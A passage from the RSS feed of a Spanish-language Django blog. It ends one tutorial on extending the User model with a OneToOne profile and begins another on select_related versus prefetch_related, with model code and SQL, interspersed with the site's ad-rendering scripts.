loading=&#34;lazy&#34;&#xA;    alt=&#34;Código fuente de la clase AbstractBaseUser de Django&#34; width=&#34;1200&#34; height=&#34;287&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Captura de pantalla del código de AbstractBaseUser de Django version 4.0&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ahora veamos la tercera manera de extender el model &lt;em&gt;User&lt;/em&gt; de Django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;extiende-el-django-user-model-creando-un-perfil-para-el-modelo-user&#34;&gt;Extiende el Django user model creando un perfil para el modelo User&lt;/h2&gt;&#xA;&lt;p&gt;Otra manera de extender el modelo user es &lt;strong&gt;crear otro modelo que sirva como un contenedor de los campos extras y luego relacionarlo por un campo &lt;em&gt;OneToOneField&lt;/em&gt;&lt;/strong&gt; con el modelo que recibe por defecto la configuración de Django.&lt;/p&gt;&#xA;&lt;p&gt;Esta aproximación es ideal si somos el creador de un paquete que necesite personalizar el modelo &lt;em&gt;User&lt;/em&gt; del proyecto para funcionar, pero sin modificarlo directamente.&lt;/p&gt;&#xA;&lt;p&gt;También es útil cuando necesitamos varios tipos de usuarios o perfiles diferentes, con campos distintos entre ellos.&lt;/p&gt;&#xA;&lt;p&gt;Para crear un perfil de esta manera basta con declarar un campo que relacione nuestro nuevo modelo con el modelo &lt;em&gt;User&lt;/em&gt;, por medio de un &lt;em&gt;OneToOneField&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.conf &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Perfil&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# otros campos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;OneToOneField(settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;AUTH_USER_MODEL, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y para acceder a nuestro usuario, accedemos al campo que lo relaciona con el modelo que creamos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;usuario &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; User&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(username&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;usuario&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;usuario&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;perfil&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;otros-recursos&#34;&gt;Otros recursos&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/django/django/tree/main/django/contrib/auth&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Código fuente original del modelo User de Django&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/4.0/topics/auth/customizing/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Documentación del modelo User de Django&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En esta entrada te explico tres métodos para extender o personalizar el modelo &lt;em&gt;User&lt;/em&gt; de Django, sin tener que reescribirlo desde cero, y manteniendo todas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;las funcionalidades para el manejo de de usuarios de Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Diferencias entre select_related y prefetch_related en Django</title>
      <link>https://coffeebytes.dev/es/django/diferencias-entre-select-related-y-prefetch-related-en-django/</link>
      <pubDate>Wed, 09 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/diferencias-entre-select-related-y-prefetch-related-en-django/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los métodos de Django, &lt;em&gt;select_related&lt;/em&gt; y &lt;em&gt;prefetch_related&lt;/em&gt;, &lt;strong&gt;se usan para reducir el número de queries que se realizan a la base de datos&lt;/strong&gt;. Lo anterior se traduce en tiempo de respuesta para cada vista. Además, usar estos métodos es una de las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;acciones a implementar para mejorar el rendimiento de una aplicación de Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Solo ten en mente que hay mejores cosas que optimizar en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;tu aplicación que obsesionarte con su rendimiento&lt;/a&gt;&#xA;, pero sí insistes considera echarle un vistazo a aggregate y annotate, demás de tener cuidado con usar este último pues &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/arregla-querys-lentas-en-django-al-usar-annotate-y-subqueries/&#34;&gt;las subqueries pueden volver tus queries increíblemente lentas.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;diferencias-entre-select_related-y-prefetch_related-resumidas&#34;&gt;Diferencias entre select_related y prefetch_related resumidas&lt;/h2&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;select_related&lt;/th&gt;&#xA;          &lt;th&gt;prefetch_related&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Relaciones&lt;/td&gt;&#xA;          &lt;td&gt;Foreign key o One to One&lt;/td&gt;&#xA;          &lt;td&gt;Many to Many&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Número de queries&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Unión de los objetos&lt;/td&gt;&#xA;          &lt;td&gt;Directo con SQL&lt;/td&gt;&#xA;          &lt;td&gt;Usando Python&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;django-select_related&#34;&gt;django select_related&lt;/h2&gt;&#xA;&lt;p&gt;El método &lt;em&gt;select_related&lt;/em&gt; se &lt;strong&gt;usa para seguir una relación de tipo ForeignKey o OneToOneField hacia los respectivos objetos a los que apunta y obtenerlos.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Al usar &lt;em&gt;select_related&lt;/em&gt; tendremos una consulta más larga, sin embargo, la ventaja consiste en que ya no será necesario acceder nuevamente a la base de datos para obtener los objetos del modelo relacionado.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/differences-between-django-select_related-and-prefetch_related/images/select_related.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/differences-between-django-select_related-and-prefetch_related/images/select_related.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del funcionamiento de select_related&#34; width=&#34;1500&#34; height=&#34;1000&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esquema simplificado del funcionamiento de select_related&lt;/p&gt;&#xA;&lt;p&gt;Considera este ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Principal&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Derivado&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    principal &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Principal&amp;#34;&lt;/span&gt;, related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;derivados&amp;#34;&lt;/span&gt;, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si intentamos acceder al objeto al que apunta la relación Foreign Key, se generará una nueva consulta a la base de datos. &lt;em&gt;select_related&lt;/em&gt; evita esa consulta extra por cada objeto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% for object in queryset %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{object.name}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;{{object.principal.name}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por ejemplo, si tenemos tres objetos Derivados relacionados a un único objeto principal:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Una consulta principal que obtiene todos los objetos Derivado&lt;/li&gt;&#xA;&lt;li&gt;Tres consultas, exactamente iguales, una para cada vez que accedemos al objeto principal a partir del objeto Derivado.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;uso-en-una-consulta&#34;&gt;Uso en una consulta&lt;/h3&gt;&#xA;&lt;p&gt;Para usar &lt;em&gt;select_related&lt;/em&gt; lo llamamos a partir de nuestra consulta, pasándole el nombre del campo que corresponde a nuestra relación con el otro modelo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Derivado&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;select_related(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;principal&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;funcionamiento-interno-de-select_related&#34;&gt;Funcionamiento interno de select_related&lt;/h3&gt;&#xA;&lt;p&gt;¿Cómo funciona &lt;em&gt;select_related&lt;/em&gt; internamente?, &lt;em&gt;select_related&lt;/em&gt; reemplaza las consultas múltiples que se realizan por un único INNER JOIN a nivel de la base de datos:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_derivado.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_derivado.name,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_derivado.principal_id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_derivado&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De esta manera se reducen las múltiples consultas SQL a una sola consulta más larga.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_derivado.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 